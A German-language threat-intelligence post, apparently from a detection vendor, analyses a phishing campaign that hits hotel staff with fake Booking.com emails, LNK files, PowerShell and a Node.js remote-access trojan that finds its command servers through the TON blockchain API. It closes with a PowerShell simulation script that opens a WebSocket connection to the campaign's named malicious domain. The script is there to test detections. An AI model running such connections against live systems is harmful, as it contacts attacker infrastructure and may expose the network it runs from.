SOC Prime Bias: Hoch

12 Jun 2026 06:33 UTC

Technische Analyse verdächtiger E-Mails, die auf die Hotelbranche abzielen

Author Photo
SOC Prime Team linkedin icon Folgen
Technische Analyse verdächtiger E-Mails, die auf die Hotelbranche abzielen
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Eine ausgeklügelte, mehrstufige Malware-Kampagne zielt auf den Hotelsektor ab, indem sie E-Mails als Benachrichtigungen von Booking.com maskiert. Die Angriffskette kombiniert bösartige LNK-Dateien, PowerShell-Skripte und einen Remote-Access-Trojaner auf Node.js-Basis, bekannt als TonRAT. Eines der bemerkenswertesten Merkmale der Operation ist die Verwendung der The Open Network (TON) API, um dynamisch Command-and-Control-Domains zu erhalten, was das traditionelle, auf Domains basierende Blockieren weniger zuverlässig macht.

Untersuchung

Die Untersuchung deckte einen geschichteten Ausführungsablauf auf, bei dem ein anfängliches ZIP-Archiv eine LNK-Datei enthält, die PowerShell startet, um ein sekundäres Skript abzurufen. Dieses Skript entschlüsselt eine JavaScript-Nutzlast, die als TonRAT identifiziert wurde, mithilfe von AES und führt es mit einer legitimen Node.js-Laufzeit aus, die von nodejs.orgheruntergeladen wurde. Sobald aktiv, initiiert die Malware WebSocket-basierte Command-and-Control-Kommunikationen unter Verwendung von Domaininformationen, die aus den TON-Blockchain-API-Anfragen abgerufen werden.

Minderung

Empfohlene Abwehrmaßnahmen umfassen die Einschränkung der PowerShell-Ausführung, das genaue Überwachen der unbefugten Nutzung der Node.js-Laufzeit (node.exe), und die Erkennung von anormalem WebSocket-Verkehr. Organisationen sollten auch auf Verbindungen zur TON API, einschließlich tonapi.io, achten und die E-Mail-Filterung verstärken, um gefälschte Domains, verdächtige Anhänge und Phishing-Köder, die auf Hotelmitarbeiter abzielen, abzufangen.

Reaktion

Wenn ein Kompromiss vermutet wird, sollten die Sicherheitsteams den betroffenen Endpunkt sofort isolieren, um zusätzlichen Command-and-Control-Verkehr und mögliche Datenexfiltration zu verhindern. PowerShell-Betriebsprotokolle und Prozessausführungsaufzeichnungen sollten auf unerlaubte node.exe Aktivitäten überprüft werden. Eine forensische Untersuchung sollte auch auf die bekannten TonRAT-JavaScript-Hashes durchgeführt werden, zusammen mit der Untersuchung von Verbindungen zur identifizierten Command-and-Control-Infrastruktur.

Angriffsfluss

Simulation der Ausführung

Voraussetzung: Der Telemetriek- und Baseline-Vorabcheck muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Angreifertechnik (TTP), die zur Auslösung der Erkennungsregel entwickelt wurde. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird. Abstrakte oder nicht zusammenhängende Beispiele führen zu einer Fehldiagnose.

  • Angriffsablauf und Befehle: Der Angreifer zielt darauf ab, einen WebSocket-basierten Command-and-Control (C2)-Kanal einzurichten. Um sich in legitimen Datenverkehr zu tarnen, fragt die Malware zuerst den tonapi.io Dienst ab, um ihre C2-Infrastruktur aufzulösen. Sobald die „legitime“ API-Interaktion hergestellt ist, initiiert die Malware einen WebSocket-Handshake (wss://) zur festkodierten bösartigen Domain zloapobikahy23.bond. Diese Abfolge ist darauf ausgelegt, den Ruf der TON API zu nutzen, um die nachfolgende bösartige Verbindung zu maskieren.

  • Regressionstestskript:

    # Simulation der TonRAT WebSocket-C2-Kommunikation
    # Schritt 1: Simulation der Interaktion mit der TON API
    Write-Host "[+] Simulation der Interaktion mit tonapi.io..."
    $api_url = "https://tonapi.io/v2/blockchain/accounts/EQ..."
    Invoke-WebRequest -Uri $api_url -Method Get -UseBasicParsing
    
    # Schritt 2: Simulation der WebSocket-Verbindung zur bösartigen C2-Domain
    # Hinweis: Wir verwenden einen PowerShell-Client, um eine WSS-Anfrage zu initiieren und die 'wss://' und Domain-Logik auszulösen
    Write-Host "[+] Simulation der WebSocket-Verbindung zur bösartigen Domain..."
    $c2_url = "wss://zloapobikahy23.bond/control"
    
    # Verwendung eines .NET-WebSockets-Clients, um sicherzustellen, dass 'wss://' in der Telemetrie vorhanden ist
    $ws = New-Object System.Net.WebSockets.ClientWebSocket
    $cts = New-Object System.Threading.CancellationTokenSource
    $uri = New-Object System.Uri($c2_url)
    
    try {
        $task = $ws.ConnectAsync($uri, $cts.Token)
        # Wir benötigen keine erfolgreiche Verbindung, nur der Versuch soll das Log erzeugen
        $task.Wait(5000) 
    } catch {
        Write-Host "[!] Verbindung, wie erwartet, fehlgeschlagen (Domain existiert nicht), aber die Telemetrie sollte generiert werden."
    } finally {
        $ws.Dispose()
    }
  • Bereinigungsbefehle:

    # Dieses Skript erzeugt keine persistente Artefakte, aber wir löschen die Konsole
    Clear-Host
    Write-Host "Bereinigung der Simulation abgeschlossen."